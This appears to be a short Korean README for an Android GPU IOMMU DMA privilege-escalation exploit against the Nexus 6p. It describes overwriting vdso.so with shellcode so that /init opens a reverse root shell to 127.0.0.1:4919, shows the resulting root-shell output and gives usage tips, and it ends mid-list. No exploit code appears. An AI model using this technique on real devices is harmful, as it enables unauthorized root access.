
Android 기기용 GPU IOMMU DMA 취약점으로, Nexus 6p에서 vdso.so를 셸코드로 덮어써 권한을 상승시키고 역방향 루트 셸을 실행합니다.
테스트 환경: Nexus 6p (google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys)
2016년 Blackhat EU에서 논의됨
iommu dma 쓰기를 사용하여 vdso.so를 셸코드로 덮어씁니다.
따라서 /init이 __kernel_clock_gettime을 실행한 후 셸코드가 실행됩니다.
/init 프로세스는 이후 루트 셸로 연결됩니다.
Reverse shell target: 127.0.0.1:4919
shellcode patch done
hook patch done
Waiting for reverse connect shell...
TERMINAL>>>
id
uid=0(root) gid=0(root) groups=0(root) context=u:r:init:s0
익스플로잇 전에 /data/local/tmp/x 파일이 있다면 삭제하세요.
대기 시간이 너무 길다면, 휴대폰 설정에서 "시간 및 날짜" 옵션을 열어보세요.
adreno 버전을 확인하세요. 현재는 4xx용으로 빌드되었습니다.
5xx 이상의 경우: